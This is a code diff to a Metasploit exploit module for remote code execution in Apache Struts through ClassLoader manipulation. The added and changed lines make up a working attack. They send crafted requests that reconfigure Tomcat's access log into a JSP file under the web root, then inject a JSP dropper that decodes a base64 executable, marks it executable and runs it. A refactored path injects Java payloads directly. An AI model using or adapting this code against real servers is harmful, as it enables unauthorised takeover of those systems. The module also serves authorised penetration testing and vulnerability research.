diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index 82322a7113..1aa80f25fb 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE @@ -66,30 +66,45 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]) - ], self.class) + ], self.class) end + def jsp_dropper(file, exe) + dropper = <<-eos +<%@ page import=\"java.io.FileOutputStream\" %> +<%@ page import=\"sun.misc.BASE64Decoder\" %> +<%@ page import=\"java.io.File\" %> +<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %> +<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %> +<% oFile.flush(); %> +<% oFile.close(); %> +<% File f = new File(\"#{file}\"); %> +<% f.setExecutable(true); %> +<% Runtime.getRuntime().exec(\"./#{file}\"); %> + eos + + dropper + end def exec_cmd(uri, cmd = "") - resp = send_request_cgi({ + res = send_request_cgi({ 'uri' => uri+cmd, 'version' => '1.1', 'method' => 'GET', }) - return resp + res end def is_log_flushed?(resp, content) return resp.headers["Content-Length"] != "0" && resp.body =~ /#{content}/ end - def exploit - + def modify_class_loader prefix_jsp = rand_text_alphanumeric(3+rand(3)) date_format = rand_text_numeric(1+rand(4)) - vprint_status("#{peer} - Modifying class loader") + print_status("#{peer} - Modifying class loader") # Modifies classLoader parameters exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created @@ -97,13 +112,13 @@ class Metasploit3 < Msf::Exploit::Remote exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix" - jsp_file = prefix_jsp - jsp_file << date_format - jsp_file << ".jsp" + @jsp_file = prefix_jsp + @jsp_file << date_format + @jsp_file << ".jsp" # Wait till the log is created uri = "/" - uri << jsp_file + uri << @jsp_file created = false @@ -117,52 +132,59 @@ class Metasploit3 < Msf::Exploit::Remote res = exec_cmd(uri) # Failure. The request timed out or the server went away. - fail_with(Failure::TimeoutExpired, "Not received response") if res.nil? + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil? # Success if the server has flushed all the sent commands to the jsp file if res.code == 200 - vprint_good("#{peer} - created file at http://#{peer}/#{jsp_file}") + print_good("#{peer} - Log file created file at http://#{peer}/#{@jsp_file}") created = true break end end - fail_with(Failure::TimeoutExpired, "No log file was created") unless created + fail_with(Failure::TimeoutExpired, "#{peer} - No log file was created") unless created + end + # Fix the JSP payload to make it valid once is dropped + # to the log file + def fix(jsp) + output = "" + jsp.each_line do |l| + if l =~ /<%.*%>/ + output << l + elsif l =~ /<%/ + next + elsif l.chomp.empty? + next + else + output << "<% #{l.chomp} %>" + end + end + output + end + + def execute_jsp if target['Arch'] == ARCH_JAVA - payload_exe = payload.encoded + jsp = fix(payload.encoded) + register_files_for_cleanup("#{@jsp_file}") else payload_exe = generate_payload_exe + payload_file = rand_text_alphanumeric(4 + rand(4)) + jsp = jsp_dropper(payload_file, payload_exe) + register_files_for_cleanup("#{payload_file}", "#{@jsp_file}") end - payload_file = rand_text_alphanumeric(4+rand(4)) - payload_file << ".jsp" if (target['Arch'] == ARCH_JAVA) - register_files_for_cleanup("#{payload_file}", "#{jsp_file}") - # Inexistent URI that logs on previously created log file (with ".jsp" suffix) - uri = String.new(datastore['TARGETURI']) - uri << payload_file - - vprint_status("#{peer} - Dumping payload into the logfile") + hint = rand_text_alpha(4 + rand(4)) + print_status("#{peer} - Dumping payload into the logfile") # Commands to be logged - exec_cmd(uri, "<%@ page import=\"java.io.FileOutputStream\" %>") - exec_cmd(uri, "<%@ page import=\"sun.misc.BASE64Decoder\" %>") - exec_cmd(uri, "<%@ page import=\"java.io.File\" %>") - - exec_cmd(uri, "<% FileOutputStream oFile = new FileOutputStream(\"#{payload_file}\", false); %>") - exec_cmd(uri, "<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(payload_exe)}\")); %>") - exec_cmd(uri, "<% oFile.flush(); %>") - exec_cmd(uri, "<% oFile.close(); %>") - - if target['Arch'] != ARCH_JAVA - exec_cmd(uri, "<% File f = new File(\"#{payload_file}\"); %>") - exec_cmd(uri, "<% f.setExecutable(true); %>") - exec_cmd(uri, "<% Runtime.getRuntime().exec(\"./#{payload_file}\"); %>") + jsp.each_line do |l| + exec_cmd(hint, l.chomp) end uri = "/" - uri << jsp_file + uri << @jsp_file flushed = false @@ -179,16 +201,19 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::TimeoutExpired, "Not received response") if res.nil? # Success if the server has flushed all the sent commands to the jsp file - if res.code == 200 && is_log_flushed?(res, payload_file) + if res.code == 200 && is_log_flushed?(res, hint) flushed = true break end end fail_with(Failure::TimeoutExpired, "Log not flushed on time") unless flushed + end - exec_cmd("/#{payload_file}") if (target['Arch'] == ARCH_JAVA) + def exploit + modify_class_loader + execute_jsp end end